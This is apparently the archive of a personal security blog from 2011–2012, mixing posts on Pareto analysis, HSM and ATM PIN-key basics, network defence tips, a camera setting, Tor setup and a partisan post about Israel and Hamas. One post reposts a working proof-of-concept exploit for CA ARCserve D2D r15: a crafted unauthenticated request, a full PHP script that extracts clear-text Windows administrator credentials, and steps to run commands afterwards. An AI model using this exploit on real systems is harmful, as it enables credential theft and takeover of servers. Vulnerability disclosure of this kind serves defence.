Friday, August 17, 2012
If this will performed at every managing level in entire organization, On my opinion world will be more safe...
Steps to identify the important causes using Pareto analysis:
Step 1: Form an explicit table listing the causes and their frequency as a percentage.
Step 2: Arrange the rows in the decreasing order of importance of the causes (i.e., the most important cause first)
Step 3: Add a cumulative percentage column to the table
Step 4: Plot with causes on x- and cumulative percentage on y-axis
Step 5: Join the above points to form a curve
Step 6: Plot (on the same graph) a bar graph with causes on x- and percent frequency on y-axis
Step 7: Draw line at 80% on y-axis parallel to x-axis. Then drop the line at the point of intersection with the curve on x-axis. This point on the x-axis separates the important causes (on the left) and trivial causes (on the right)
Step 8: Explicitly review the chart to ensure that at least 80% of the causes are captured
Reference: http://en.wikipedia.org/wiki/Pareto_analysis
Thursday, July 26, 2012
Thanks to http://www.jpos.org/wiki/HSM_basics
HSM basics
Some HSM Basics and How They Work...
(Originally from HSM basic text file corresponding to email dated Sep 24, 2005 12:03 PM, Subject: HSM - help on standards.)
Each Hardware Security Module (HSM) has its own Master Key and can be called an LMK or KSK or whatever the HSM vendor calls it. I will call it the KSK (key storage key).
Every key you generate will be encrypted under this KSK. In real life you will never know the clear value of the KSK, the HSM will store it on a chip card. Lets say the KSK is 0123456789ABCDEF. For all my examples I am going to use a single length key.
Now consider you want the Triton ATM to have a TMK (terminal Master Key) of 0909090909090909 stored on it. You would go to the HSM and enter this clear value and obtain a cryptogram (0909090909090909 encrypted under 0123456789ABCDEF). The encrypted value of the TMK will be 3F85C66266E0C409 and this is what you will use as nothing should be in the clear. For simulation this is alright but in reality you want to let the HSM generate a random key.
Now you need to generate a PIN Working Key (I call it the KWP). This is the key used by the ATM to encrypt the PIN block and send it to you in the a withdrawal request. Let's say the Clear PIN Key is 0808080808080808 and the encrypted value (encrypted under KSK) is 086F9A1D74C94D4E. For simulation this is alright but in reality you want to let the HSM generate a random key and you can exchange this key at regular intervals with the ATM.
This KWP gets exchanged with the ATM. The process is as follows. You would need to send the KWP encrypted under the KSK (086F9A1D74C94D4E) and the TMK encrypted under KSK (3F85C66266E0C409) to the HSM and tell it to give you a the KWP under the TMK. The HSM will decrypt the KWP and TMK to get clear values of each and then encrypt the KWP using the TMK (basically you are encrypting 0808080808080808 with a key of 0909090909090909).
The clear KWP encrypted under clear TMK is 10772D40FAD24257 and this is what you would send to the ATM for it to encrypt the PIN block it sends you.
The above is a pretty simplistic approach. To make things more secure HSM's use variants. A variant is a hex value for each type of key. For example, a KWP can have a variant 1 which has a hex value of say 0800000000000000, what this does is the clear TMK is XOR'd with this value and then the result is used to encrypt the clear KWP. The equivalent hex variant for double length keys would be 08000000000000000800000000000000 i.e. the single length variant repeats itself. This is generally not used by ATMs but most networks will use this.
PIN Blocks... and PIN Translations
PIN blocks come in various flavors, ISO-0,ISO-1 , OEM-1 etc.. These flavors are algorithms on how the PIN should packed with additional data like pan and padding characters. See the following URL for PIN block algorithms, (http://www-03.ibm.com/security/cryptocards/pdfs/IBM_4758_Basic_Services_Release_2_52.pdf )
The ATM has the TMK (entered by a supervisor at the ATM) you also have this value and the KWP encrypted under the TMK that we sent it in the key exchange message. The ATM will decrypt the KWP with the TMK and will have the clear KWP (08's). Now the ATM and we have the same TMK and KWP in the clear. The ATM will form the PIN block (I think its ISO-0 for Triton) and encrypt it with the clear KWP. For example: PIN lock format : ISO-0 PAN = 5555555555555555 PIN = 1234 KWP = 0808080808080808 Encrypted PIN block = B07F65762F0F4701
Once your application receives it you would send this the PIN block (B07F65762F0F4701), the KWP under the KSK (086F9A1D74C94D4E) ,pan and the PIN block format. The HSM will get the KWP in the clear by decrypting it with the KSK, then decrypt the PIN block using this clear KWP and extract the PIN by reversing the PIN block formation algorithm.
If you do need to translate the PIN, that is, using the PIN you got above and forming a PIN block that your network expects, you encrypt the PIN block using a PIN working key that you share with the network. Assuming you have Zone Master Key (ZMK) shared with the network and exchanged the Zone PIN Key with the network (this is kind of similar to how we dealt with the keys on the ATM side of things).
Check Digits...
One thing that you may need to pass along are the Check Digits (the exception is that Triton ATMs do not need this) but you will most probably need it when you do key exchanges with the network.
The HSM will generate check digits along with the cryptogram. So for my TMK of 0909090909090909 the check digits would be obtained by encrypting 0000000000000000 with a key of 0909090909090909. You will get D6A875A7A871DF70 and usually the first 4 to 6 digits are used.
Writing the Simulator.
The Java Crypto API has methods that generate single and double length keys. The API has methods for encrypting and decrypting data so you do not need to delve into doing the DES part yourself.
The JPOS API has very good support and can help you generate keys, encrypt, decrypt, form PIN blocks and translate PIN blocks. Take a look at jpos\src\ext-examples\smadapter\Test.java and \jpos\src\ext\org\jpos\security\jceadapter\JCESecurityModule.java
If you are going to MAC messages then I would recommend using the Bouncy Castle implementation of the Crypto API as I never could validate the MAC sent by terminals as the MAC algorithm that was being used by the ATM (Diebold/NCR) was not available in Sun's Crypto implementation.
Since you want the ability to swap out your Sim with the real HSM, you will need the write twp implementations: one for the Sim and the other to communicate with the real HSM. You will need the API to talk to the HSM, that is, send it commands and parameters over TCP/UDP. This API is proprietary and you will need to buy it from the HSM vendor.
All the encrypted values used above have been obtained after true DES encryption.
- KSK = KEY STORAGE KEY is the master key of the HSM
- KWP = PIN WORKING KEY is the share key with the ATM or the network
- TMK = TERMINAL MASTER KEY is the master key shred between the ATM and you and all keys shared between the two of you, for example, MAC, KWP are encrypted under this key.
- ZMK = ZONE MASTER KEY is the master key shared between you and the network and all keys shared between the two of you, for example, MAC, KWP are encrypted under this key.
- Clear KSK = 0123456789ABCDEF
- Clear KWP = 0808080808080808
- Clear TMK = 0909090909090909
- TMK encrypted under KSK= 3F85C66266E0C409
- KWP encrypted under KSK= 086F9A1D74C94D4E
- Clear KWP encrypted under clear TMK = 10772D40FAD24257
We hope this helps in understanding the functionality of an HSM and also helps you in writing yourself a simulator.
We have not gone into explaining PIN verification, but this will use another key called the PIN Verification Key that was used to generate the PIN offsets that are on the Card itself (or file somewhere) ...but the process should be like getting the PIN and performing the algorithm for generating the offset and matching it with the on on file or in Track 2.
See also HSM basics continued
Thursday, July 5, 2012
Wednesday, February 29, 2012
Cyber Threat, Vulns and Countermeasures
A few years ago cyber-attacks were not so popular as today. In our hard days of cyber warfare I will post here some tips that I think can be a baseline to protect organizations and corporations from that threat. Let’s take a brief look at our network connection to the world, threat is available when the connection exists even if networks are separated there some kind of data flow between them such as disk on key devices, fax2mail or voice2mail solutions, proprietary kind of connection with service providers, such as leased lines, metropolitan networks, and more...
First level of remediation-WAN (ISP (Internet Services Provider side)
Each organization (and corporation) has an internet connection (the connection that connects the organization network to the Internet). It could be a dial-up connection till to lease line connection. When threat comes from the Internet it is very complicated to distinguish trusted and untrusted sources. Because very few corporations have unlimited Internet access bandwidth can prepare ACL’s (based on huge profiles) my recommendation will hosting kind of ACL device at ISP (n a case of DDoS ISP can provide alternate routes using BGP tunnels or any other kind of smart routing protocol to deliver request from Internet to organization).
ü Filter out country based addresses (IP)
ü Filter out anonymous networks and anonymous proxies (ToR, I2V and more)
ü Filter out hacked hosts
ü Filter out known botnet hosts
ü Filter out blacklisted addresses (IP)
ü Filter out spam
ü Prepare basic content filter (such as SQL injections, untrusted certificates, viruses and everything possible), IDPS with minimal false/positive rates
Second level of remediation-External LAN (Corporate outbound network side)
ü Allow a 2-nd OSI/ISO layer protocol only from ISP’s where your first level devices are hosted.
ü Prepare FIREWALL (is a device or set of devices designed to permit or deny network transmissions based upon a set of rules and is frequently used to protect networks from unauthorized access while permitting legitimate communications to pass. Many personal computer operating systems include software-based firewalls to protect against threats from the public Internet. Many routers that pass data between networks contain firewall components and, conversely, many firewalls can perform basic routing functions). Keep in mind that threat will come as ALLOWED, it is doesn’t matter how much rejects, drops you will see in log. Threat will come as something that we allowed in rule base. Just remember that.
ü Prepare smart IDPS (Intrusion prevention systems (IPS), also known as intrusion detection and prevention systems (IDPS), are network security appliances that monitor network and/or system activities for malicious activity. The main functions of intrusion prevention systems are to identify malicious activity, log information about said activity, attempt to block/stop activity, and report activity.) For each inbound connection.
ü Prepare content filter systems, WAF (Web Application Firewall - An application firewall is a form of firewall which controls input, output, and/or access from, to, or by an application or service. It operates by monitoring and potentially blocking the input, output, or system service calls which do not meet the configured policy of the firewall. The application firewall is typically built to control all network traffic on any OSI layer up to the application layer. It is able to control applications or services specifically), DAF (Database Application Firewall), Reverse proxies in DMZ (sometimes referred to as a perimeter network) is a physical or logical sub network that contains and exposes an organization's external services to a larger untrusted network, usually the Internet. The purpose of a DMZ is to add an additional layer of security to an organization's local area network (LAN); an external attacker only has access to equipment in the DMZ, rather than any other part of the network. The name is derived from the term "demilitarized zone", an area between nation states in which military action is not permitted.) Or multiple DMZs.
ü Digitally sign each packet that should be delivered to front-end servers and make sure that front-end servers can validate those signatures. This will allow us to be sure that packets passed to front-end servers have been checked and no malicious content has been detected in.
That’s all. When you done all of above I am sure your organization threat level is well minimized but still exists! In next I will explain what to do at front-end server and back-end server. And later what we can do at our LAN and end users side.
Organizations, Corporates whom availability level is critical should think to prepare all of controls above in cloud based hosting, so DoS and DDoS from cloud hosting providers cant damage resources and reputation. Simple search anti DDoS and you can find a huge service provider who delivers services above o part of them.
Saturday, October 15, 2011
NIKON D5000 ISO Hunt
Yep, after taking more than thousand frames i did understand that in M/P/S modes iso level stands on AUTO even if we are choosing it manually. BUG? Future? :) Not sure...
Well, only after choosing in menu setting to take off ISO Auto adjusting in all modes, except AUTO and predefined scenes , we can take care of ISO level as we wish.
NIKON ruleZZZ
Well, only after choosing in menu setting to take off ISO Auto adjusting in all modes, except AUTO and predefined scenes , we can take care of ISO level as we wish.
NIKON ruleZZZ
Tuesday, August 30, 2011
Monday, August 29, 2011
Friday, July 29, 2011
CA ARCserve D2D r15 GWT RPC Request Auth Bypass / Credentials Disclosure and Commands Execution PoC
original url: http://retrogod.altervista.org/9sg_ca_d2dii.html
<?php
/*
CA ARCserve D2D r15 GWT RPC Request Auth Bypass /
Credentials Disclosure and Commands Execution PoC
product homepage: http://arcserve.com/us/default.aspx
file tested: CA_ARCserve_D2D_Setup_BMR.zip
tested against: Microsoft Windows Server 2003 r2 sp2
This software installs a Tomcat HTTP server which listens
on port 8014 for incoming connections (this port is also
added automatically to firewall exceptions to exhacerbate
the vulnerability I am going to describe).
It uses a GWT RPC (Google Web Toolkit Remote Procedure
Call) mechanism to receive messages from the Administrator
browser.
Without prior authentication, a remote user with access
to the web server can send a POST request to the homepageServlet
serlvet containing the "getLocalHost" message and the correct
filename of a certain descriptor to disclose the
username and password of the target application.
This username and password pair are Windows credentials
with Administrator privileges, requested during
the ARCserve installation process (it clearly says this, an user
from the Administrators group).
This works with the mentioned software perfectly
installed and configured and after the Administrator user
logged in *one time each Tomcat session, logged out or not*
(which I think is easily exploitable against a production
service running twenty four hours a day). You could also choose
to resend the request indefinetely, waiting for the Administrator
to be logged in.
Example packet:
POST /contents/service/homepage HTTP/1.1
Content-Type: text/x-gwt-rpc; charset=utf-8
User-Agent: GoogleBot/2.1
Host: 192.168.0.1:8014
Content-Length: 149
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: donotshowgettingstarted=%7B%22state%22%3Atrue%7D
5|0|4|http://192.168.0.1:8014/contents/|2C6B33BED38F825C48AE73C093241510|com.ca.arcflash.ui.client.homepage.HomepageService|getLocalHost|1|2|3|4|0|
Note that '2C6B33BED38F825C48AE73C093241510' is a static value
which represents a filename of a gwt rpc descriptor which can be found inside the default path:
C:\Program Files\CA\ARCserve D2D\TOMCAT\webapps\ROOT\contents\2C6B33BED38F825C48AE73C093241510.gwt.rpc
Note also that this packet does not contain any session id.
Response packet:
HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Content-Disposition: attachment
Content-Type: application/json;charset=utf-8
Content-Length: 480
Date: Wed, 13 Jul 2011 18:57:19 GMT
//OK[0,17,16,8,15,14,8,13,-3,12,11,8,10,9,8,7,0,6,5,0,4,3,8,2,1,1,["com.ca.arcflash.ui.client.model.TrustHostModel/1126245943",
"com.extjs.gxt.ui.client.data.RpcMap/3441186752","port","java.lang.Integer/3438268394","Selected","java.lang.Boolean/476441737",
"hostName","java.lang.String/2004016611","RGOD_9SG","uuid","1a580961-1aa7-4225-b3aa-a522649c16ec","type",
"user","Administrator","password","MY_PASSWORD","Protocol"],0,5] <--------------------
Clear text! Clear text!!!
Username -> Administrator
Password -> MY_PASSWORD
A remote attacker could then login to the affected application
then execute arbitrary commands with Administrator group privileges
in the following way:
Browse Backup settings;
Click Advanced tab;
Check "Run a command before backup is started";
Fill the white field with the desired command, ex. cmd /c start calc ;
Fill the credentials fields with the gained username and password
(you can use the same you had before);
Select an existing backup destination in the Protection Settings tab;
Browse to the main page and clicking "Backup Now";
Select Incremental Backup and press OK;
calc.exe is launched various times.
Other attacks are possible.
Vulnerable code and explaination:
web.xml :
...
<servlet>
<servlet-name>homepageServlet</servlet-name>
<servlet-class>com.ca.arcflash.ui.server.HomepageServiceImpl</servlet-class>
<load-on-startup>1</load-on-startup>
</servlet>
<servlet-mapping>
<servlet-name>homepageServlet</servlet-name>
<url-pattern>/contents/service/homepage</url-pattern>
</servlet-mapping>
...
the decompiled HomepageServiceImpl.class :
...
public TrustHostModel getLocalHost()
throws BusinessLogicException, ServiceConnectException, ServiceInternalException
{
try
{
TrustedHost trustedhost = getLocalWebServiceClient().getLocalHostAsTrust();
TrustHostModel trusthostmodel = ConvertToModel(trustedhost);
return trusthostmodel;
}
catch(AxisFault axisfault)
{
axisfault.printStackTrace();
}
return null;
}
...
the decompiled WebServiceClient.class :
...
public TrustedHost getLocalHostAsTrust()
throws AxisFault
{
Object aobj[] = invokeWebMethod("getLocalHostAsTrust", new Object[0], new Class[] { //<------------
com/ca/arcflash/webservice/data/TrustedHost
});
return (TrustedHost)aobj[0];
}
...
a request to the FlashServiceImpl Axis2 Web Service is originated
note that the ip address originating the request is 127.0.0.1 now!!!
So you are using the GWT RPC endpoint as a proxy for the mentioned
web service ...
from the decompiled FlashServiceImpl.class:
...
public TrustedHost getLocalHostAsTrust()
throws AxisFault
{
checkSession(); <--------------------
try
{
return CommonService.getInstance().getLocalHostAsTrust();
}
catch(Throwable throwable)
{
logger.error(throwable.getMessage(), throwable);
}
throw new AxisFault("Unhandled exception in web service", FlashServiceErrorCode.Common_ErrorOccursInService);
}
...
the checkSession() function is called but now I show you because it is bypassed,
again from the decompiled FlashServiceImpl.class:
...
private void checkSession()
throws AxisFault
{
if(!enableSessionCheck)
return;
MessageContext messagecontext = MessageContext.getCurrentMessageContext();
Object obj = messagecontext.getProperty(HTTPConstants.MC_HTTP_SERVLETREQUEST);
if(obj != null && (obj instanceof HttpServletRequest))
{
HttpServletRequest httpservletrequest = (HttpServletRequest)obj;
HttpSession httpsession = httpservletrequest.getSession(true);
if(checkLocalHost(httpservletrequest.getRemoteAddr(), true)) //<--------------------------------
return;
if(httpsession.getAttribute("com.ca.arcflash.webservice.FlashServiceImpl.UserName") == null && httpsession.getAttribute("com.ca.arcflash.webservice.FlashServiceImpl.UUID") == null)
throw new AxisFault("Service session timeout", FlashServiceErrorCode.Common_ServiceSessionTimeout);
}
}
...
the checkLocalHost() function is called, this check means
"if the ip address originating the request is localhost then
do not check the session but go on".
look to checkLocalHost() and to initializeIPList() functions inside FlashServiceImpl.class:
...
private boolean checkLocalHost(String s, boolean flag)
{
logger.debug((new StringBuilder()).append("checkLocalHost begin, host:").append(s).append(", localCall:").append(flag).toString());
if(localhostIPList == null)
initializeIPList();
if(s == null || s.length() == 0)
return false;
s = s.trim();
if(logger.isDebugEnabled())
{
logger.debug((new StringBuilder()).append("localhostIPList size:").append(localhostIPList.size()).toString());
String s1;
for(Iterator iterator = localhostIPList.iterator(); iterator.hasNext(); logger.debug((new StringBuilder()).append("LocalHost:").append(s1).toString()))
s1 = (String)iterator.next();
}
boolean flag1 = false;
Iterator iterator1 = localhostIPList.iterator();
do
{
if(!iterator1.hasNext())
break;
String s2 = (String)iterator1.next();
if(!s.equalsIgnoreCase(s2))
continue;
flag1 = true;
break;
} while(true);
logger.debug((new StringBuilder()).append("checkLocalHost end, isLocal:").append(flag1).toString());
return flag1;
}
private static synchronized void initializeIPList()
{
if(localhostIPList != null)
return;
localhostIPList = new ArrayList();
localhostIPList.add("localhost"); //<-------------------------
localhostIPList.add("127.0.0.1"); //<-------------------------
try
{
InetAddress inetaddress = InetAddress.getLocalHost();
String s = inetaddress.getHostAddress();
String s1 = inetaddress.getHostName();
if(s != null && !localhostIPList.contains(s))
localhostIPList.add(s);
if(s1 != null && !localhostIPList.contains(s1))
localhostIPList.add(s1);
String s2 = inetaddress.getCanonicalHostName();
if(s2 != null)
{
int i = s2.indexOf('.');
if(i > 0)
{
localhostIPList.add((new StringBuilder()).append("localhost").append(s2.substring(i)).toString());
localhostIPList.add(s2);
}
}
}
catch(Exception exception)
{
logger.error("InetAddress error:", exception);
}
try
{
Enumeration enumeration = NetworkInterface.getNetworkInterfaces();
if(enumeration != null)
while(enumeration.hasMoreElements())
{
NetworkInterface networkinterface = (NetworkInterface)enumeration.nextElement();
Enumeration enumeration1 = networkinterface.getInetAddresses();
while(enumeration1.hasMoreElements())
{
InetAddress inetaddress1 = (InetAddress)enumeration1.nextElement();
String s3 = inetaddress1.getHostAddress();
if(s3 != null && !localhostIPList.contains(s3))
localhostIPList.add(s3);
}
}
}
catch(Exception exception1)
{
logger.error("NetworkInterface error:", exception1);
}
}
...
a match is performed against the localhostIPList array then the web service
cannot know which is the real ip address of the remote user but thinks it is
127.0.0.1 !
again, from the decompiled HomepageServiceImpl.class :
...
private TrustHostModel ConvertToModel(TrustedHost trustedhost)
{
TrustHostModel trusthostmodel = new TrustHostModel();
trusthostmodel.setHostName(trustedhost.getName());
trusthostmodel.setPassword(trustedhost.getPassword());
trusthostmodel.setPort(Integer.valueOf(trustedhost.getPort()));
trusthostmodel.setType(Integer.valueOf(trustedhost.getType()));
trusthostmodel.setUser(trustedhost.getUserName());
trusthostmodel.setUuid(trustedhost.getUuid());
trusthostmodel.setProtocol(trustedhost.getProtocol());
trusthostmodel.setSelected(Boolean.valueOf(false));
return trusthostmodel;
}
...
this prepares the output, returning the object properties previously used to store the
admin credentials.
The following code can be used to disclose them, you can perform post-auth commands
execution by browsing the target application and act as described.
rgod
*/
error_reporting(E_ALL ^ E_NOTICE);
set_time_limit(0);
$err[0] = "[!] This script is intended to be launched from the cli!";
$err[1] = "[!] You need the curl extesion loaded!";
if (php_sapi_name() <> "cli") {
die($err[0]);
}
function syntax() {
print("usage: php 9sg_ca_d2d.php [ip_address]\r\n" );
die();
}
$argv[1] ? print("[*] Attacking...\n") :
syntax();
if (!extension_loaded('curl')) {
$win = (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') ? true :
false;
if ($win) {
!dl("php_curl.dll") ? die($err[1]) :
print("[*] curl loaded\n");
} else {
!dl("php_curl.so") ? die($err[1]) :
print("[*] curl loaded\n");
}
}
function _s($url, $is_post, $ck, $request) {
global $_use_proxy, $proxy_host, $proxy_port;
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
if ($is_post) {
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $request);
}
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
"Cookie: donotshowgettingstarted=%7B%22state%22%3Atrue%7D;".$ck ,
"Content-Type: text/x-gwt-rpc; charset=utf-8;"
));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_USERAGENT, "Jakarta Commons-HttpClient/3.1");
curl_setopt($ch, CURLOPT_TIMEOUT, 0);
if ($_use_proxy) {
curl_setopt($ch, CURLOPT_PROXY, $proxy_host.":".$proxy_port);
}
$_d = curl_exec($ch);
if (curl_errno($ch)) {
//die("[!] ".curl_error($ch)."\n");
} else {
curl_close($ch);
}
return $_d;
}
$host = $argv[1];
$port = 8014;
$rpc='5|0|4|http://".$host.":8014/contents/|2C6B33BED38F825C48AE73C093241510|com.ca.arcflash.ui.client.homepage.HomepageService|getLocalHost|1|2|3|4|0|';
$url = "http://$host:$port/contents/service/homepage";
$out = _s($url, 1, "", $rpc);
if (strpos($out,"The call failed on the server;") or (!strpos($out,"200 OK"))){
print("[!] Error, maybe patched or admin never logged in. See output...\n");
print($out);
}
else {
$temp=explode("\"user\",\"",$out);$temp=explode("\"",$temp[1]);$usr=trim($temp[0]);
print("Username: ".$usr."\n");
$temp=explode("\"password\",\"",$out);$temp=explode("\"",$temp[1]);$pwd=trim($temp[0]);
print("Password: ".$pwd."\n");
}
?>
Sunday, May 8, 2011
Monday, April 25, 2011
Very usefull resource for Z-days.
Thanks and Credits to http://80vul.com/#
Thursday, April 21, 2011
Using tor in backtrack 4 R2
Step 1 :
Make sure tor and privoxy are installed.
apt-get install tor privoxyStep 2 :
nano /etc/privoxy/configAppend the following line to the file.
forward-socks4a / localhost:9050 .Step 3 :
/etc/init.d/privoxy start
/etc/init.d/tor startStep 4 :
Install tor button on firefox
https://addons.mozilla.org/zh-TW/firefox/addon/torbutton/Go to Tor Button perference and set as the following.
Select "
Use custom proxy settings"HTTP Proxy : 127.0.0.1 Port : 8118
SSL Proxy : 127.0.0.1 Port : 8118
SOCKS host : 127.0.0.1 Port : 9050Step 5 :
Click on the "
Tor enable" at the right bottom of the Firefox to enable the Tor Button.Hints : You should repeat the Step 3 and Step 5 when you are using Tor to surf the internet next time.
Saturday, March 26, 2011
Friday, March 25, 2011
Cyber attacks on US federal networks on the rise
The number of cyber attacks against federal government systems and networks has increased nearly 40 percent, says in the annual report on federal cybersecurity efforts compiled by the Office of Management Budget.The concrete number of attacks suffered in 2010 is 41,776, which is a marked increase from the 30,000 attacks executed in 2009. The statistic has been provided by the US-CERT, and a breakdown of the number according to type of attack goes like this:
- Malicious code - 12,864 (31%)
- Under investigation or labeled as "other - 11,336 (27%)
- Denial of service, unauthorized and/or attempted access, improper usage and scans probes, etc. - 17,576 (42%).
According to the Federal Times, US-CERT has pointed out that the attackers often try to leverage zero-day vulnerabilities in various apps and products to gain access to federal networks.
Most government agencies could and should do a better job when it comes to protecting their networks. Shockingly, 8 percent of the agencies still doesn't have an around-the-clock program for monitoring intrusions. And among those that do, the continuity of monitoring leaves much to be desired.
Thursday, March 24, 2011
URGENT!!!
THIS IS AN ANNOUNCEMENT TO ALL OF MY NON-ISRAELI FRIENDS: in the last 72 hours, more than 70 rockets where shot by Hamas organization into Israel, probably Israel will have to react soon- probably it's gonna get ugly- PROBABLY you'll hear about it for the first time few days later when the biased media in your country will present Israel again as a cruel aggressive country.
Sunday, March 20, 2011
Saturday, March 12, 2011
VOIP Penetration Testing
Thanks V.Unic - putted my attention on the article.
Thanks back-track. Shai Rod for very interesting material.
http://www.backtrack-linux.org/wiki/index.php/Pentesting_VOIP
Thanks back-track. Shai Rod for very interesting material.
http://www.backtrack-linux.org/wiki/index.php/Pentesting_VOIP
Subscribe to:
Posts (Atom)